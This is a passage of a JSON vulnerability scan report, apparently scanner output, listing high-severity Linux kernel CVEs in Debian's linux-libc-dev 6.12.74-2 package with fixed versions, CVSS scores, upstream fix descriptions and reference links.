"https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53157" ], "PublishedDate": "2026-06-25T09:16:33.073Z", "LastModifiedDate": "2026-07-07T18:54:28.8Z" }, { "VulnerabilityID": "CVE-2026-53179", "VendorIDs": [ "DSA-6381-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53179", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5799ef3155d7b21e9e90c7b85264b6bc3cb4965c5cfb29a490fe58952e975da4", "Title": "kernel: staging: rtl8723bs: fix buffer over-read in rtw_update_protection", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nstaging: rtl8723bs: fix buffer over-read in rtw_update_protection\n\nrtw_update_protection() is called with a pointer offset into the\nies buffer but the full ie_length is passed, causing a potential\nbuffer over-read.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53179", "https://git.kernel.org/linus/514ab98364595007d4557ecc85d7e5f012c504d3%20%287.1%29", "https://git.kernel.org/stable/c/303f65af819f6d5aa302e82bce72b57a8575faea", "https://git.kernel.org/stable/c/514ab98364595007d4557ecc85d7e5f012c504d3", "https://git.kernel.org/stable/c/735dabdf21561a24d8bcae456c9c32f7f961a029", "https://git.kernel.org/stable/c/c35ce55b12bb8fcd365daeb516e9782048119b36", "https://git.kernel.org/stable/c/d95edbbf7830d77ad68d437c384055eac8cd9892", "https://lore.kernel.org/linux-cve-announce/2026062554-CVE-2026-53179-188d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53179", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-53179" ], "PublishedDate": "2026-06-25T09:16:35.287Z", "LastModifiedDate": "2026-10-21T13:19:12.187Z" }, { "VulnerabilityID": "CVE-2026-53195", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53195", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:734f27df8abfbf0e218fbb7e05f52265fcb3803dae2378165f6f9292288e3ee8", "Title": "kernel: USB: serial: io_ti: fix heap overflow in build_i2c_fw_hdr()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: io_ti: fix heap overflow in build_i2c_fw_hdr()\n\nbuild_i2c_fw_hdr() allocates a fixed-size buffer of\n(16*1024 - 512) + sizeof(struct ti_i2c_firmware_rec) bytes, then\ncopies le16_to_cpu(img_header-\u003eLength) bytes into it without\nvalidating that Length fits within the available space after the\nfirmware record header.\n\nimg_header-\u003eLength is a __le16 from the firmware file and can be\nup to 65535. check_fw_sanity() validates the total firmware size\nbut not img_header-\u003eLength specifically.\n\nFix by rejecting images where img_header-\u003eLength exceeds the\navailable destination space.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53195", "https://git.kernel.org/linus/0fd2b00b2d3d05e3eaa13342b3dfb0fa85c226ae%20%287.1%29", "https://git.kernel.org/stable/c/0fd2b00b2d3d05e3eaa13342b3dfb0fa85c226ae", "https://git.kernel.org/stable/c/130d6567eb148040eed1b73e1414ad6c27d22bd5", "https://git.kernel.org/stable/c/294692d3296eee3391c348d7ea6401916d27806c", "https://git.kernel.org/stable/c/2fd64bf0ad66ab5de0c73524591d879427ba5aba", "https://git.kernel.org/stable/c/3e187152f44d76d7633a3855ffd0099e1588b82a", "https://git.kernel.org/stable/c/4cb722747ed25971f35cc47ce5c0e79d7f717713", "https://git.kernel.org/stable/c/5a79b634ee58786ca627268daefa7744f2af2e14", "https://git.kernel.org/stable/c/b7faf660eefa2047ebc2959ff76da2b6eae2e9e3", "https://linux.oracle.com/cve/CVE-2026-53195.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062559-CVE-2026-53195-5300@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53195", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53195" ], "PublishedDate": "2026-06-25T09:16:36.983Z", "LastModifiedDate": "2026-11-06T17:18:13.087Z" }, { "VulnerabilityID": "CVE-2026-53198", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53198", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:74c69997ea6162f0ca0da7ee7df8d58279ec2bbf0f20a9edc899f0f559a93d3f", "Title": "kernel: ksmbd: fix use-after-free of a deferred file_lock on double SMB2_CANCEL", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix use-after-free of a deferred file_lock on double SMB2_CANCEL\n\nA deferred byte-range lock (an SMB2_LOCK that blocks) registers an async work on\nconn-\u003easync_requests via setup_async_work(), with cancel_fn =\nsmb2_remove_blocked_lock and cancel_argv[0] pointing at the struct file_lock.\n\nWhen the request is cancelled, the worker frees the file_lock with\nlocks_free_lock() and takes the cancelled early-exit, which \"goto out\"s and never\nreaches release_async_work() -- the only site that unlinks the work from\nconn-\u003easync_requests and clears cancel_fn/cancel_argv. The work therefore stays\nmatchable on async_requests with a live cancel_fn pointing at the freed file_lock,\nuntil connection teardown finally runs release_async_work().\n\nsmb2_cancel() fires cancel_fn unconditionally with no state guard, so a second\nSMB2_CANCEL for the same AsyncId, arriving in that window, re-runs\nsmb2_remove_blocked_lock() on the freed file_lock -- a slab use-after-free:\n\n BUG: KASAN: slab-use-after-free in __locks_delete_block\n __locks_delete_block\n locks_delete_block\n ksmbd_vfs_posix_lock_unblock\n smb2_remove_blocked_lock\n smb2_cancel \u003c- 2nd SMB2_CANCEL fires cancel_fn\n handle_ksmbd_work\n Allocated by ...: locks_alloc_lock \u003c- smb2_lock\n Freed by ...: locks_free_lock \u003c- smb2_lock (cancelled branch)\n ... cache file_lock_cache of size 192\n\nReproduced on mainline with KASAN by an authenticated SMB client.\n\nSkip a work whose state is already KSMBD_WORK_CANCELLED so its cancel callback\ncannot be fired a second time.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53198", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/f580d27e8928828693df44ba2db0fffdbe11dfea%20%287.1-rc7%29", "https://git.kernel.org/stable/c/0da2e073f9cbf4985a0fd9acb71bc5ff599f8afd", "https://git.kernel.org/stable/c/14d2eee0193ac3cd1bf3d014373449f0b8d35d6d", "https://git.kernel.org/stable/c/2b2eda2821cff1d1b5a423b6ee7d8fc6fbc8e694", "https://git.kernel.org/stable/c/89ae9df09d2c1fb4a4eb495c113a7ce1dca34147", "https://git.kernel.org/stable/c/b7063c7426ea5a4d15e01b60538718765392f49d", "https://git.kernel.org/stable/c/f580d27e8928828693df44ba2db0fffdbe11dfea", "https://lore.kernel.org/linux-cve-announce/2026062559-CVE-2026-53198-8bc8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53198", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-53198" ], "PublishedDate": "2026-06-25T09:16:37.323Z", "LastModifiedDate": "2026-10-15T02:20:04.103Z" }, { "VulnerabilityID": "CVE-2026-53203", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53203", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:49a998dc233313bb1cffcab41bcb8c2f48a46e385a5ba11a8afe0f33c2ea328b", "Title": "kernel: accel/ivpu: Add buffer overflow check in MS get_info_ioctl", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\naccel/ivpu: Add buffer overflow check in MS get_info_ioctl\n\nAdd validation that the info size returned from the metric stream info\nquery is not exceeded when checked against the allocated buffer size.\nIf the firmware returns a size larger than the buffer, reject the\noperation with -EOVERFLOW instead of proceeding with an incorrect\nbuffer copy.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-120" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71700", "https://access.redhat.com/security/cve/CVE-2026-53203", "https://bugzilla.redhat.com/2419883", "https://bugzilla.redhat.com/2461575", "https://bugzilla.redhat.com/2482533", "https://bugzilla.redhat.com/2482543", "https://bugzilla.redhat.com/2482649", "https://bugzilla.redhat.com/2486470", "https://bugzilla.redhat.com/2492105", "https://bugzilla.redhat.com/2492798", "https://bugzilla.redhat.com/2493739", "https://bugzilla.redhat.com/2502536", "https://bugzilla.redhat.com/2513233", "https://bugzilla.redhat.com/2513361", "https://bugzilla.redhat.com/2513372", "https://bugzilla.redhat.com/2513414", "https://bugzilla.redhat.com/2513429", "https://bugzilla.redhat.com/2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2419883", "https://bugzilla.redhat.com/show_bug.cgi?id=2461575", "https://bugzilla.redhat.com/show_bug.cgi?id=2482533", "https://bugzilla.redhat.com/show_bug.cgi?id=2482543", "https://bugzilla.redhat.com/show_bug.cgi?id=2482649", "https://bugzilla.redhat.com/show_bug.cgi?id=2486470", "https://bugzilla.redhat.com/show_bug.cgi?id=2492105", "https://bugzilla.redhat.com/show_bug.cgi?id=2492798", "https://bugzilla.redhat.com/show_bug.cgi?id=2493739", "https://bugzilla.redhat.com/show_bug.cgi?id=2502536", "https://bugzilla.redhat.com/show_bug.cgi?id=2513233", "https://bugzilla.redhat.com/show_bug.cgi?id=2513361", "https://bugzilla.redhat.com/show_bug.cgi?id=2513372", "https://bugzilla.redhat.com/show_bug.cgi?id=2513414", "https://bugzilla.redhat.com/show_bug.cgi?id=2513429", "https://bugzilla.redhat.com/show_bug.cgi?id=2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2525436", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40323", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31539", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46199", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46311", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52912", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53203", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53290", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64098", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68108", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68121", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68273", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80714", "https://errata.almalinux.org/9/ALSA-2026-71700.html", "https://errata.rockylinux.org/RLSA-2026:71700", "https://git.kernel.org/linus/fb176425837693f50c5c9fc8db6fbb04af22bd0a%20%287.1-rc7%29", "https://git.kernel.org/stable/c/4e5047cc94bea1cc7b670b7f503358e9af0542df", "https://git.kernel.org/stable/c/d3c12ed33e8923f3090909a1738f3e59292996a6", "https://git.kernel.org/stable/c/fa598556ecef412edcb391f144b7642e18fdfd45", "https://git.kernel.org/stable/c/fb176425837693f50c5c9fc8db6fbb04af22bd0a", "https://linux.oracle.com/cve/CVE-2026-53203.html", "https://linux.oracle.com/errata/ELSA-2026-71700.html", "https://lore.kernel.org/linux-cve-announce/2026062501-CVE-2026-53203-2c14@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53203", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53203.json", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://www.cve.org/CVERecord?id=CVE-2026-53203" ], "PublishedDate": "2026-06-25T09:16:37.873Z", "LastModifiedDate": "2026-10-19T20:19:09.187Z" }, { "VulnerabilityID": "CVE-2026-53233", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53233", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:83a14861e3f37323251ec144cd2b88506f457339660eb02d194f32c22882a868", "Title": "kernel: netdev: fix double-free in netdev_nl_bind_rx_doit()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetdev: fix double-free in netdev_nl_bind_rx_doit()\n\nSashiko flags that genlmsg_reply() always consumes the skb.\nThe error path calls nlmsg_free(rsp) so we can't jump directly\nto it. Let's not unbind, just propagate the error to the user.\nThis is the typical way of handling genlmsg_reply() failures.\nThey shouldn't happen unless user does something silly like\ncalling the kernel with an already-full rcvbuf.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53233", "https://git.kernel.org/linus/c849de7d8757a7af801fc4a4058f71d481d367f2%20%287.1%29", "https://git.kernel.org/stable/c/9b019376cbee10c4f9184d1745fa37d156e36f30", "https://git.kernel.org/stable/c/c299321bc6232770ce378d6fa6bc46004d2d7fdb", "https://git.kernel.org/stable/c/c849de7d8757a7af801fc4a4058f71d481d367f2", "https://git.kernel.org/stable/c/e055ca9205d3eb6aec3e5fe4ecc18abbbf18c599", "https://linux.oracle.com/cve/CVE-2026-53233.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062509-CVE-2026-53233-508b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53233", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://www.cve.org/CVERecord?id=CVE-2026-53233" ], "PublishedDate": "2026-06-25T09:16:41.197Z", "LastModifiedDate": "2026-07-07T23:46:31.63Z" }, { "VulnerabilityID": "CVE-2026-53234", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53234", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:96fd8dac3df628b44331e6312492c2189b24afc49c032f4669c4e6b6490d9854", "Title": "kernel: net: ibm: emac: Fix use-after-free during device removal", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ibm: emac: Fix use-after-free during device removal\n\nThe driver was using devm_register_netdev() which causes unregister_netdev()\nto be deferred until the devres cleanup phase, which runs after emac_remove()\nreturns. This creates a use-after-free window where:\n\n1. emac_remove() is called, which tears down hardware (cancels work, detaches\n modules, unregisters from MAL)\n2. emac_remove() returns\n3. devres cleanup runs and finally calls unregister_netdev()\n\nDuring step 3, the network stack might still process packets, triggering\nemac_irq(), emac_poll(), or other handlers that access now-freed hardware\nresources (dev-\u003eemacp, dev-\u003emal, etc.).\n\nFix this by replacing devm_register_netdev() with manual register_netdev()\nand calling unregister_netdev() at the beginning of emac_remove(), before\nany hardware teardown. This ensures the network device is fully stopped and\nunregistered before hardware resources are released.\n\nThe change is safe because:\n- dev-\u003endev is assigned very early in probe (before any error paths that\n could bypass emac_remove)\n- platform_set_drvdata() is only called after successful registration, so\n emac_remove() only runs for fully registered devices\n- unregister_netdev() is idempotent and safe to call on any registered device", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53234", "https://git.kernel.org/linus/a0130d682222ae21afc395aead7cd2d87e1a8358%20%287.1%29", "https://git.kernel.org/stable/c/a0130d682222ae21afc395aead7cd2d87e1a8358", "https://git.kernel.org/stable/c/c09c2e236eef6f59e105f38a30f5439e6ccbcad7", "https://git.kernel.org/stable/c/c12584cd6078085d707266be864e7e1cc91d74e3", "https://git.kernel.org/stable/c/cf8e14db93eaecc4c0c58299be3b3183b0e53ed5", "https://lore.kernel.org/linux-cve-announce/2026062509-CVE-2026-53234-54f9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53234", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://www.cve.org/CVERecord?id=CVE-2026-53234" ], "PublishedDate": "2026-06-25T09:16:41.293Z", "LastModifiedDate": "2026-07-08T19:02:06.45Z" }, { "VulnerabilityID": "CVE-2026-53255", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53255", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fb09c0bf1176363f8ad3fdb1b587bf0a40f334627d9c6dd4657a8f3c951423fe", "Title": "kernel: Bluetooth: MGMT: validate advertising TLV before type checks", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: MGMT: validate advertising TLV before type checks\n\ntlv_data_is_valid() reads each advertising data field length from\ndata[i], then inspects data[i + 1] for managed EIR types before\nchecking that the current field still fits inside the supplied buffer.\n\nA malformed field whose length byte is the last byte of the buffer can\ntherefore make the parser read one byte past the advertising data.\n\nKASAN reported the following when a malformed MGMT_OP_ADD_ADVERTISING\nrequest reached that path:\n\n BUG: KASAN: vmalloc-out-of-bounds in tlv_data_is_valid()\n Read of size 1\n Call trace:\n tlv_data_is_valid()\n add_advertising()\n hci_mgmt_cmd()\n hci_sock_sendmsg()\n\nMove the existing element-length check before any type-octet inspection\nso each non-empty element is proven to contain its type byte before the\nparser looks at data[i + 1].", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53255", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/de23fb62259aa01d294f77238ae3b835eb674413%20%287.1-rc7%29", "https://git.kernel.org/stable/c/06fcbd79c3c360a50f9be9d370769bbd738d0976", "https://git.kernel.org/stable/c/13ad995071a06570668dd8daab3616c247c72080", "https://git.kernel.org/stable/c/18fea1cb0c2599752e908c8217490f73ddd33e00", "https://git.kernel.org/stable/c/1a3c8ffbb469859b076445af44bdfa6a711d483e", "https://git.kernel.org/stable/c/2a3f3ed9e198ae23c15859ace2f9ca6cfdc35b57", "https://git.kernel.org/stable/c/74c08e4db35a476c3462aeb65846f955be732626", "https://git.kernel.org/stable/c/de23fb62259aa01d294f77238ae3b835eb674413", "https://git.kernel.org/stable/c/f7093ac233c1e7f51d125534f46067772a113175", "https://kernelcve.org/list/?q=CVE-2026-53255", "https://linux.oracle.com/cve/CVE-2026-53255.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062514-CVE-2026-53255-7d38@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53255", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", 